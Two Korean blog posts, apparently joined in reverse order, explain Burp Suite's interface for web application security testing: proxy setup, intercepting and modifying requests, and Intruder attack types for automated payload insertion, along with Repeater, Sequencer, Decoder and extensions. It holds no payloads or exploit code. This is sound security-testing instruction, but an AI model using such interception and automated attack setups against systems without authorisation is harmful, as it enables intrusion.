3.5) Intruder

- 사용자가 정의한 자동화 공격을 수행하기 위한 도구

- 어플리케이션을 테스트할 때 발생하는 모든 종류의 작업을 자동화하는데 사용할 수 있음

- Intercept된 상태에서 우클릭 > Send to Intruder를 선택하거나, Ctrl + I를 누르면 Intruder가 활성화

3.5.1) Positions

- 페이로드 구성 및 공격 유형을 결정하는데 사용

- [캡쳐 1]에서 §,§사이에 페이로드 설정

[캡쳐 1] Positions

- Attack type에는 4가지 유형이 있음

① Sniper : 단일 페이로드 집합이 사용되며, 정의된 각 위치에 차례로 페이로드를 삽입
② Battering ram : 단일 페이로드 집합이 사용되며, 정의된 모든 위치에 동일한 페이로드를 삽입
③ Pitchfork : 단일 이상의 페이로드 집합이 사용되어, 각 정의된 위치의 개수(최대 8개)만큼 사용. 각 페이로드가 정의된 위치에 동시에 삽입.
④ Cluster bomb : 단일 이상의 페이로드 집합이 사용되어, 각 정의된 위치의 개수(최대 8개)만큼 사용. 각 페이로드 집합을 순서대로 반복하여 모든 페이로드의 조합을 테스트.

 

- Payload Positions 영역

① Add § : 페이로드 추가
② Clear § : 모든 페이로드 제거
③ Auto § : 유효한 위치를 추측하여 그에 맞게 페이로드를 배치
④ Refresh : 새로고침

3.5.2) Payloads

- 하나 이상의 페이로드 집합을 구성하는데 사용

- 집합 개수는 Positions 탭에서 설정한 Attack type에 따라 달라짐

① Payload Sets : 하나 이상의 페이로드 집합 정의
② Payload Options : 페이로드로 사용되는 문자열의 단순 목록 구성
③ Payload Processing : 각 페이로드가 사용되기 전 다양한 처리 작업을 수행하는 규칙 정의
④ Payload Encoding : HTTP 요청 내에서 안전한 전송을 위한 URL encoding 설정

[캡쳐 2] Payloads

3.5.3) Resource Pool

- 리소스 할당량을 공유하는 작업 그룹

- 동시에 수행할 수 있는 요청 또는 요청을 수행할 수 있는 빈도 등을 설정

[캡쳐 3] Resource Pool

3.5.4) Options

- 공격에 영향을 미치는 옵션을 구성

① Request Headers : 공격 중에 구성된 request header 업데이트 여부 제어
② Request Engine : 공격 수행 시 HTTP 요청 수행 엔진 제어
③ Attack results : Attack results에 캡처되는 정보 제어
④ Grep - Match : 지정된 표현식이 포함된 결과 항목 플래그 추가 가능
⑤ Grep - Extract : 유용한 정보를 공격 결과 테이블로 추출 가능
⑥ Grep - Payloads : 사용된 페이로드 값이 응답 값에 포함되었는지 여부 결과 항목 플래그 추가
⑦ Redirections : 공격 수행 시 Burp의 Redirection 처리 방법 제어

[캡쳐 4] Options

3.6) Repeater

- HTTP 요청을 재전송하거나 응답을 분석할 때 사용

- Intercept된 상태에서 우클릭 > Send to Repeater를 선택하거나, Ctrl + R을 누르면 Repeater가 활성화

[캡쳐 5] Repeater

① Send : 요청 전송 

② Cancel

③ < / > : 전/후 요청 및 응답 확인

3.7) Sequencer

- 웹 어플리케이션에서 제공하는 값의 임의성을 분석하기 위한 기능

- 분석을 원하는 패킷 우클릭 > Send to Sequencer 선택 시 활성화

3.7.1) Live capture

- 분석을 원하는 패킷 우클릭 > Send to Sequencer 선택 시 Select Live Capture Request에 추가

[캡쳐 6] Live capture

- Token Location Within Response 영역은 어플리케이션의 응답 내에서 토큰이 나타나는 위치를 선택할 수 있음

① Cookie : 응답으로 쿠키가 설정된 경우, 분석할 쿠키 선택 가능
② Form fields : 응답에 HTML 양식 필드가 있는 경우, 분석할 양식 필드 값 선택 가능
③ Custom location : 사용자의 임의로 항목 정의 가능

- Live Capture Options 영역은 라이브 캡처 수행 시 HTTP 요청 및 토큰 수집에 사용되는 엔진을 제어 설정할 수 있음

① Nuber of threads : 실시간 캡처가 동시에 서버에 보낼 수 있는 요청 수
② Throttle between requests : 모든 요청 전 지연 시간 (과부하 방지 or 은밀한 요청에 유용)
③ Ignore token whose length deviates by _ charaters : 지정한 평균 토큰 길이 벗어나는 토큰 무시 설정

- 설정을 완료한 후 Start live capture를 누르면 라이브 캡처가 시작되며, 라이브 캡처 중에는 토큰 수, requests 수 및 네트워크 오류 수를 progress bar로 보여줌

[캡쳐 7] Start live capture

① Pause/Resume : 캡처 일시 중지/재시작
② Stop : 캡처 중지
③ Copy tokens : 현재 캡처된 토큰 클립보드에 복사
④ Save tokens : 현재 캡처된 토큰 파일에 저장
⑤ Auto analyze : 토큰 자동 분석 수행, 라이브 캡처 중 결과 주기적 업데이트
⑥ Analyze now : 최소 100개의 토큰이 캡처되면 Burp가 현재 샘플을 분석 후 결과 업데이트

3.7.2) Manual load

- 이미 생성된 토큰을 불러와 통계 분석을 수행할 수 있음

[캡쳐 8] Manual load

3.7.3) Analysis options

- 토큰에 대한 처리 방법과 분석하는 동안 사용하는 테스트 유형을 설정

- Token Handling은 분석 중 토큰 처리 방법을 제어

① Pad short tokens at Start/End : 각 토큰의 시작/끝 패딩 적용 여부 선택
② Pad with : 패딩에 사용될 문자 지정(보통 "0")
③ Base64-decode before analyzing : 토큰이 Base64 인코딩 된 경우 분석 전 디코딩 설정

- Token Analysis는 문자와 비트 레벨의 테스트에서 수행되는 분석 유형을 제어

[캡쳐 9] Analsis options

3.8) Decoder

- 데이터 암/복호화 및 해시 형식으로 변환

- 데이터 우클릭 > Send to Decoder 클릭 시 활성화

- 값 입력 후 우측 Decode as 등을 통해 암/복호화가 가능하며, Smart decode는 인코딩 값을 찾아 자동적으로 디코딩하는 옵션

[캡쳐 10] Decoder

3.9) Comparer

- 두 데이터 간 비교를 수행

- 복사/붙여넣기, 파일 로드, Send to Comparer를 통해 활성화

- 비교할 데이터 선택 후 Words(단어 수준의 차이), Byte(바이트 레벨에 존재하는 차이) 중 비교 형식을 선택하여 비교

[캡쳐 11] Comparer

3.10) Logger

- 버프슈트 로그를 기록

[캡쳐 12] Logger

3.11) Extender

- 자체 또는 타사 코드를 사용하여 기능 확장 가능

3.11.1) Extensions

- 설치된 모든 확장 기능을 확인할 수 있으며, 추가, 제거, 재정렬(Up/Down) 할 수 있음

① Details탭에서 해당 확장 기능 정보를 확인할 수 있고, Extension loaded를 체크하면 확장을 활성화할지 비활성화할지 선택할 수 있음
② Output탭에서 확장 기능의 표준 출력 스트림 세부 사항을 확인할 수 있음
③ Errors탭에서 표준 오류 스트림 정보를 확인할 수 있음

[캡쳐 13] Extensions

3.11.2) BApp Store

- Burp Suite 사용자가 작성한 Burp 확장 기능이며, 사용 가능한 BApps를 확인하여, 설치하여 사용할 수 있음

[캡쳐 14] BApp Store

3.11.3) APIs

- Burp 확장 기능을 개발하는 데 사용할 수 있는 API에 대한 세부 정보를 확인 가능
- 실행 중인 Burp 버전에서 사용할 수 있는 API 정보가 표시되어 있음

- Save interface files/Save Javadoc files는 확장 기능을 개발할 때 사용할 수 있도록 코드를 로컬 사본으로 저장하는 기능

[캡쳐 15] APIs

3.11.4) Options

- 확장 설정, Java 환경, Python 환경, Ruby 환경에 대한 설정 옵션

① Settings - 시작 시 확장을 어떻게 처리할 것인지 설정
(시작 시 자동으로 재로드할 것인지, BApp 자동으로 업데이트할 것인지)
② Java environment - Java로 작성된 확장 기능 실행을 위한 환경 구성 설정
확장 프로그램에서 라이브러리를 사용하는 경우 라이브러리를 로드할 폴더를 지정할 수 있음
③ Python environment - Python으로 작성된 확장 기능 실행을 위한 환경 구성 설정
Python 확장 기능을 사용하려면 Jython*을 다운로드 받고 경로를 설정해야 함.
Jython* : Java로 구현된 Python 인터프리터
④ Ruby environment - Ruby로 작성된 확장 기능 실행을 위한 환경 구성 설정
Ruby 확장 기능을 사용하려면 JRuby*를 다운로드 받고 경로를 설정해야 함
JRuby* : Java로 구현된 Ruby 인터프리터

[캡쳐 16] Options

 

참고

 

Burp Suite tools

Burp Suite contains various tools for performing different testing tasks. The tools operate effectively together, and you can pass interesting requests ...

portswigger.net

 

버프스위트(Burpsuite) 기능 활용

ி Repeater HTTP 요청을 재전송, 응답을 분석 할 때 사용한다. Intercept된 상태에서 우클릭 > Repeater를 선택하거나 Ctrl + R을 누르면 Repeater가 활성화된다. Repeater 탭으로 이동해서 send 버튼을 눌러 요..

jdh5202.tistory.com

 

 

0. Burp Suite 설치 및 사용방법

<목차> 0. 다운로드 1. 실행 2. Burp Suite 기본 설정 3. Burp Suite 기능  # Dashboard  # Target  # Proxy  # Intruder  # Repeater  # Sequencer  # Decoder  # Comparer  # Extender 4. Reference 0...

grini25.tistory.com

'도구 > 네트워크' 카테고리의 다른 글

버프슈트(Burp Suite)  (1) 2022.09.26
쇼단(Shodan)  (1) 2022.09.25
와이어샤크(WireShark)  (0) 2022.07.26
스노트(Snort)  (0) 2022.07.19

1. 버프슈트(Burp Suite)

- 프록시(Proxy) 서버를 사용하여 클라이언트와 서버가 주고받는 패킷을 가로채 위변조가 가능하게 해주는 프로그램

- 웹 취약점 점검 또는 웹 해킹에 주로 사용

 

Burp Suite - Application Security Testing Software

Get Burp Suite. The class-leading vulnerability scanning, penetration testing, and web app security platform. Try for free today.

portswigger.net

1.1) 프록시(Proxy)

- 사전적 의미는 대리, 대리인
- 클라이언트가 자신을 통해서 다른 네트워크 서비스에 간접적으로 접속할 수 있게 해 주는 컴퓨터 시스템이나 응용 프로그램
- 즉, 클라이언트와 웹 서버 사이에 껴서 데이터를 중계해주는 역할
- 서버와 클라이언트 사이에 중계기로서 대리로 통신을 수행하는 것을 가리켜 '프록시', 그 중계 기능을 하는 것을 프록시 서버라고 부름

[캡쳐 1] 정상 통신(위)과 Proxy를 이용한 통신(아래)

2. 기본 설정

- 클라이언트와 서버를 오가는 패킷을 캡쳐하기 위해 버프스튜와 브라우저에 Proxy 설정을 해주어야 함

- 8080 포트를 다른 서비스가 사용하고 있는 경우 다른 포트로 변경

- 최근 IE EoS로 다른 브라우저 사용 권장

[캡쳐 2] 버프슈트 Proxy 설정
[캡쳐 3] 브라우저 프록시 설정

- Proxy > Intercept  > Open browser를 통해 별도의 프록시 설정 없이도 패킷 캡쳐가 가능함.

[캡쳐 4] Open browser

- 패킷에서 한글이 깨지는 경우가 있는데, 설정된 폰트가 한글을 지원하지 않아 생기는 문제로, User options > Display에서 한글을 지원하는 폰트로 변경.

[캡쳐 5] 폰트 변경

3. 기능

3.1) Dashboard

- 2.x 버전부터 생긴 기능으로, 자동화된 활동을 한 눈에 모니터링 및 제어

[캡쳐 6] Dashboard

3.1.1) Tasks 영역

① New scan은 스캔 키능을 제공하며, Pro 버전에서만 사용이 가능

② 무료버전에서는 New live task를 통해 실시간 크롤링이 가능

3.1.2) Event log 영역

① 작업에 대한 Error, Info 등의 이벤트 로그 기록

3.1.3) Issue activity 영역

① 스캔 활동에 대한 결과가 기록되며, Pro 버전에서만 사용이 가능

 

3.2) Target

- 타겟 어플리케이션에 대한 정보 확인 가능

3.2.1) Site map

- 브라우저에서 방문한 모든 URL이 개별 항목으로 기록되며, 각각의 요청 및 응답에 대한 정보를 확인할 수 있음

- 도메인, 디렉터리, 파일 내용을 계층구조로 보여줌

- 필터를 통해 원하는 콘텐츠만 나타내도록 설정할 수 있음.

- request type 필터를 Show only in-scope items만 설정한 후 Site map에서 원하는 사이트에 마우스 우클릭 > add to scope로 scope를 지정해주면, 지정된 사이트에 대한 정보만 볼 수 있음.

[캡쳐 7] Site map
[캡쳐 8] Filter settings

3.2.2) Scope

- 공격하려는 대상의 범위에 대해 설정 가능

① Include in scope : 범위 내 표시
② Exclude in scope : 범위 내 차단

[캡쳐 9] Scope

- 공격 대상 범위 설정 후 [캡쳐 10]처럼 설정하면, 공격하려는 범위에 대해서만 Intercept할 수 있음.

[캡쳐 10] Is in target scope

3.2.3) Issue definitions

- 버프슈트 스캐너에서 탐지할 수 있는 문제점 목록

[캡쳐 11] Issue definitions

3.4) Proxy

- 가장 많이 활용되는 기능으로, 브라우저와 웹 서버간 모든 요청 및 응답을 가로채 조작할 수 있음

3.4.1) Intercept

- 브라우저와 웹 서버간 HTTP 요청을 가로채 표하며, 요청을 조작할 수 있음

① Forward : 요청/응답 조작 후 브라우저/웹 서버로 전송
② Drop : 메시지 삭제
③ Intercept on/off : Intercept 켜기/끄기
④ Action : 현재 표시된 메시지에 대해 수행할 수 있는 동작 메뉴 표시
⑤ Open Browser : 별도의 프록시 설정 없이 Intercept 가능한 브라우저 열기
⑥ inspector : 현재 표시된 메시지에 대한 정보 표시

[캡쳐 12] Intercept

3.4.2) HTTP history

- 버프슈트를 통과한 모든 요청 및 응답에 대한 기록이 저장

- 패킷을 선택해 요청 및 응답 메시지 확인, 필터링 및 주석 설정 가능

[캡쳐 13] HTTP history

3.4.3) WebSockets history

- 버프슈트를 통과한 모든 WebSockets 메시지에 대한 기록이 저장

- 패킷을 선택해 요청 및 응답 메시지 확인, 필터링 및 주석 설정 가능

[캡쳐 14] WebSockets history

3.4.5) Options

- Proxy listeners, HTTP 요청/응답 인터셉트, WebSocket 메세지 인터셉트, 응답 수정, 일치 및 교체, TLS 통과, 기타 옵션 설정 가능

[캡쳐 15] Options

① Proxy listeners - listeners 중 하나를 프록시 서버로 사용하도록 설정할 수 있음 (Burp Proxy는 listeners를 사용하여 브라우저의 HTTP 요청을 수신한다.)
② Intercept Client Requests - 클라이언트 요청 메세지 인터셉트에 대한 규칙을 지정할 수 있음
③ Intercept Server Responses - 서버 응답 패킷 인터셉트에 대한 규칙을 지정할 수 있음
④ Intercept WebSockets Messages - WebSocket 메세지의 인터셉트 여부를 개별적으로 설정할 수 있음
⑤ Response Modification - 자동 응답 수정을 통해 다양한 작업을 수행할 수 있음
⑥ Match and Replace - Proxy를 통해 전달되는 요청 및 응답의 일부를 자동으로 변경하는 데 사용
⑦ TLS Pass Through - TLS 연결을 통해 직접 전달할 대상 웹 서버를 지정하는 데 사용
⑧ Miscellaneous - Proxy 동작의 특정 세부 정보를 제어하는 옵션을 설정할 수 있음

 

 

 

버프슈트(Burp Suite) #2

버프슈트(Burp Suite) 1. 버프슈트(Burp Suite) - 프록시(Proxy) 서버를 사용하여 클라이언트와 서버가 주고받는 패킷을 가로채 위변조가 가능하게 해주는 프로그램 - 웹 취약점 점검 또는 웹 해킹에 주

ggonmerr.tistory.com

'도구 > 네트워크' 카테고리의 다른 글

버프슈트(Burp Suite) #2  (0) 2022.09.26
쇼단(Shodan)  (1) 2022.09.25
와이어샤크(WireShark)  (0) 2022.07.26
스노트(Snort)  (0) 2022.07.19

+ Recent posts